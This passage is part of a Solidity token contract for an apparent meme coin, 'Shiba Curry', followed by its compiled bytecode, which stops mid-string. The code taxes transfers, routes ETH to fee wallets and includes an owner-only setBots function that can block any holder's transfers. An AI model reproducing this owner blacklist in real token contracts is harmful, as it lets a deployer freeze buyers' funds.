_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1 * 10**15 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610787565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610860565b005b34801561033357600080fd5b5061033c610983565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098c565b005b34801561039e57600080fd5b506103a7610a71565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae3565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bce565b005b34801561043157600080fd5b5061043a610d54565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dba565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd8565b005b34801561063857600080fd5b50610641610f28565b005b34801561064f57600080fd5b50610658610fa2565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b8101908080359060200190929190505050611622565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d2565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f5368696261204375727279000000000000000000000000000000000000000000815250905090565b600061076b610764611859565b8484611861565b6001905092915050565b600069d3c21bcecceda1000000905090565b6000610794848484611a58565b610855846107a0611859565b61085085604051806060016040528060288152602001613d4960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610806611859565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b79092919063ffffffff16565b611861565b600190509392505050565b610868611859565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610928576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610994611859565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a54576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab2611859565b73ffffffffffffffffffffffffffffffffffffffff1614610ad257600080fd5b6000479050610ae081612377565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7e57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc9565b610bc6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612472565b90505b919050565b610bd6611859565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c96576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f534355525259f09f8d9b00000000000000000000000000000000000000000000815250905090565b6000610dce610dc7611859565b8484611a58565b6001905092915050565b610de0611859565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2457600160076000848481518110610ebe57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea3565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f69611859565b73ffffffffffffffffffffffffffffffffffffffff1614610f8957600080fd5b6000610f9430610ae3565b9050610f9f816124f6565b50565b610faa611859565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461106a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117e30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda1000000611861565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c457600080fd5b505afa1580156111d8573d6000803e3d6000fd5b505050506040513d60208110156111ee57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561126157600080fd5b505afa158015611275573d6000803e3d6000fd5b505050506040513d602081101561128b57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130557600080fd5b505af1158015611319573d6000803e3d6000fd5b505050506040513d602081101561132f57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c930610ae3565b6000806113d4610d54565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145957600080fd5b505af115801561146d573d6000803e3d6000fd5b50505050506040513d606081101561148457600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff02191690831515021790555069d3c21bcecceda10000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115e357600080fd5b505af11580156115f7573d6000803e3d6000fd5b505050506040513d602081101561160d57600080fd5b81019080805190602001909291905050505050565b61162a611859565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611760576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61179060646117828369d3c21bcecceda10000006127e090919063ffffffff16565b61286690919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613dbf6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561196d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d066022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d9a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613cb96023913960400191505060405180910390fd5b60008111611bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d716029913960400191505060405180910390fd5b611bc5610d54565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c335750611c03610d54565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121f457601360179054906101000a900460ff1615611e99573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb557503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0f5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d695750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9857601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611daf611859565b73ffffffffffffffffffffffffffffffffffffffff161480611e255750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e0d611859565b73ffffffffffffffffffffffffffffffffffffffff16145b611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f8957601454811115611edb57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f7f5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f8857600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120345750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561208a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120a25750601360179054906101000a900460ff165b1561213a5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120f257600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061214530610ae3565b9050601360159054906101000a900460ff161580156121b25750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121ca5750601360169054906101000a900460ff165b156121f2576121d8816124f6565b600047905060008111156121f0576121ef47612377565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061229b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122a557600090505b6122b1848484846128b0565b50505050565b6000838311158290612364576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561232957808201518184015260208101905061230e565b50505050905090810190601f1680156123565780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123c760028461286690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123f2573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61244360028461286690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561246e573d6000803e3d6000fd5b5050565b6000600a548211156124cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cdc602a913960400191505060405180910390fd5b60006124d9612b07565b90506124ee818461286690919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561252b57600080fd5b5060405190808252806020026020018201604052801561255a5781602001602082028036833780820191505090505b509050308160008151811061256b57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561260d57600080fd5b505afa158015612621573d6000803e3d6000fd5b505050506040513d602081101561263757600080fd5b81019080805190602001909291905050508160018151811061265557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126bc30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611861565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612780578082015181840152602081019050612765565b505050509050019650505050505050600060405180830381600087803b1580156127a957600080fd5b505af11580156127bd573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127f35760009050612860565b600082840290508284828161280457fe5b041461285b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d286021913960400191505060405180910390fd5b809150505b92915050565b60006128a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b32565b905092915050565b806128be576128bd612bf8565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129615750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561297657612971848484612c3b565b612af3565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a195750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a2e57612a29848484612e9b565b612af2565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612ad05750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ae557612ae08484846130fb565b612af1565b612af08484846133f0565b5b5b5b80612b0157612b006135bb565b5b50505050565b6000806000612b146135cf565b91509150612b2b818361286690919063ffffffff16565b9250505090565b60008083118290612bde576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612ba3578082015181840152602081019050612b88565b50505050905090810190601f168015612bd05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bea57fe5b049050809150509392505050565b6000600c54148015612c0c57506000600d54145b15612c1657612c39565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c4d87613880565b955095509550955095509550612cab87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d4086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dd585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e21816139ba565b612e2b8483613b5f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612ead87613880565b955095509550955095509550612f0b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fa083600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061303585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffff